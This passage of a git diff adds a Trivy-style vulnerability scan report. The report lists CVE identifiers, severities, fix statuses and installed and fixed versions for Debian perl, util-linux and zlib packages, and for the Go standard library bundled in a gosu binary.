│ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┼──────────┼──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl-modules-5.36 │ CVE-2026-13221 │ CRITICAL │ fixed │ │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux-extra │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib1g │ CVE-2023-45853 │ CRITICAL │ will_not_fix │ 1:1.2.13.dfsg-1 │ │ zlib: integer overflow and resultant heap-based buffer │ +│ │ │ │ │ │ │ overflow in zipOpenNewFileInZip4_6 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45853 │ +│ ├─────────────────┼──────────┼──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-76844 │ HIGH │ affected │ │ │ webpack-dev-middleware: webpack-dev-middleware: Information │ +│ │ │ │ │ │ │ Disclosure via Path Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-76844 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-85091 │ │ │ │ │ zlib: zlib: Heap buffer overflow in gz_vacate() allows │ +│ │ │ │ │ │ │ arbitrary code execution │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-85091 │ +└────────────────────┴─────────────────┴──────────┴──────────────┴─────────────────────────┴─────────────────────────┴──────────────────────────────────────────────────────────────┘ + +usr/local/bin/gosu (gobinary) +============================= +Total: 60 (HIGH: 56, CRITICAL: 4) + +┌─────────┬─────────────────┬──────────┬────────┬───────────────────┬──────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├─────────┼─────────────────┼──────────┼────────┼───────────────────┼──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2023-24538 │ CRITICAL │ fixed │ v1.18.2 │ 1.19.8, 1.20.3 │ golang: html/template: backticks not treated as string │ +│ │ │ │ │ │ │ delimiters │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24538 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24540 │ │ │ │ 1.19.9, 1.20.4 │ golang: html/template: improper handling of JavaScript │ +│ │ │ │ │ │ │ whitespace │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24540 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2024-24790 │ │ │ │ 1.21.11, 1.22.4 │ golang: net/netip: Unexpected behavior from Is methods for │ +│ │ │ │ │ │ │ IPv4-mapped IPv6 addresses │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2024-24790 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-68121 │ │ │ │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────┼──────────┤ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-27664 │ HIGH │ │ │ 1.18.6, 1.19.1 │ golang: net/http: handle server errors after sending GOAWAY │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-27664 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-28131 │ │ │ │ 1.17.12, 1.18.4 │ golang: encoding/xml: stack exhaustion in Decoder.Skip │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-28131 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-2879 │ │ │ │ 1.18.7, 1.19.2 │ golang: archive/tar: github.com/vbatts/tar-split: unbounded │ +│ │ │ │ │ │ │ memory consumption when reading headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-2879 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-2880 │ │ │ │ │ golang: net/http/httputil: ReverseProxy should not forward │ +│ │ │ │ │ │ │ unparseable query parameters │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-2880 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-29804 │ │ │ │ 1.17.11, 1.18.3 │ ELSA-2022-17957: ol8addon security update (IMPORTANT) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-29804 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30580 │ │ │ │ │ golang: os/exec: Code injection in Cmd.Start │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30580 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30630 │ │ │ │ 1.17.12, 1.18.4 │ golang: io/fs: stack exhaustion in Glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30630 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30631 │ │ │ │ │ golang: compress/gzip: stack exhaustion in Reader.Read │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30631 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30632 │ │ │ │ │ golang: path/filepath: stack exhaustion in Glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30632 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30633 │ │ │ │ │ golang: encoding/xml: stack exhaustion in Unmarshal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30633 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30634 │ │ │ │ 1.17.11, 1.18.3 │ ELSA-2022-17957: ol8addon security update (IMPORTANT) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30634 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-30635 │ │ │ │ 1.17.12, 1.18.4 │ golang: encoding/gob: stack exhaustion in Decoder.Decode │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-30635 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-32189 │ │ │ │ 1.17.13, 1.18.5 │ golang: math/big: decoding big.Float and big.Rat types can │ +│ │ │ │ │ │ │ panic if the encoded... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-32189 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41715 │ │ │ │ 1.18.7, 1.19.2 │ golang: regexp/syntax: limit memory used by parsing regexps │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41715 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41716 │ │ │ │ 1.18.8, 1.19.3 │ Due to unsanitized NUL values, attackers may be able to │ +│ │ │ │ │ │ │ maliciously se... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41716 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41720 │ │ │ │ 1.18.9, 1.19.4 │ golang: os, net/http: avoid escapes from os.DirFS and │ +│ │ │ │ │ │ │ http.Dir on Windows │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41720 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41722 │ │ │ │ 1.19.6, 1.20.1 │ golang: path/filepath: path-filepath filepath.Clean path │ +│ │ │ │ │ │ │ traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41722 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41723 │ │ │ │ │ golang.org/x/net/http2: avoid quadratic complexity in HPACK │ +│ │ │ │ │ │ │ decoding │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41723 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41724 │ │ │ │ │ golang: crypto/tls: large handshake records may cause panics │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41724 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2022-41725 │ │ │ │ │ golang: net/http, mime/multipart: denial of service from │ +│ │ │ │ │ │ │ excessive resource consumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-41725 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24534 │ │ │ │ 1.19.8, 1.20.3 │ golang: net/http, net/textproto: denial of service from │ +│ │ │ │ │ │ │ excessive memory allocation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24534 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24536 │ │ │ │ │ golang: net/http, net/textproto, mime/multipart: denial of │ +│ │ │ │ │ │ │ service from excessive resource consumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24536 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24537 │ │ │ │ │ golang: go/parser: Infinite loop in parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24537 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-24539 │ │ │ │ 1.19.9, 1.20.4 │ golang: html/template: improper sanitization of CSS values │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-24539 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-29400 │ │ │ │ │ golang: html/template: improper handling of empty HTML │ +│ │ │ │ │ │ │ attributes │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-29400 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-29403 │ │ │ │ 1.19.10, 1.20.5 │ golang: runtime: unexpected behavior of setuid/setgid │ +│ │ │ │ │ │ │ binaries │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-29403 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-39325 │ │ │ │ 1.20.10, 1.21.3 │ golang: net/http, x/net/http2: rapid stream resets can cause │ +│ │ │ │ │ │ │ excessive work (CVE-2023-44487) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-39325 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-45283 │ │ │ │ 1.20.11, 1.21.4, 1.20.12, 1.21.5 │ The filepath package does not recognize paths with a \??\ │ +│ │ │ │ │ │ │ prefix as... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45283 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-45287 │ │ │ │ 1.20.0 │ golang: crypto/tls: Timing Side Channel attack in RSA based │ +│ │ │ │ │ │ │ TLS key exchanges.... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45287 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-45288 │ │ │ │ 1.21.9, 1.22.2 │ golang: net/http, x/net/http2: unlimited number of │ +│ │ │ │ │ │ │ CONTINUATION frames causes DoS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45288 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2024-34156 │ │ │ │ 1.22.7, 1.23.1 │ encoding/gob: golang: Calling Decoder.Decode on a message │ +│ │ │ │ │ │ │ which contains deeply nested structures... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2024-34156 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└─────────┴─────────────────┴──────────┴────────┴───────────────────┴──────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-gateway.txt b/evidence/trivy-gateway.txt new file mode 100644 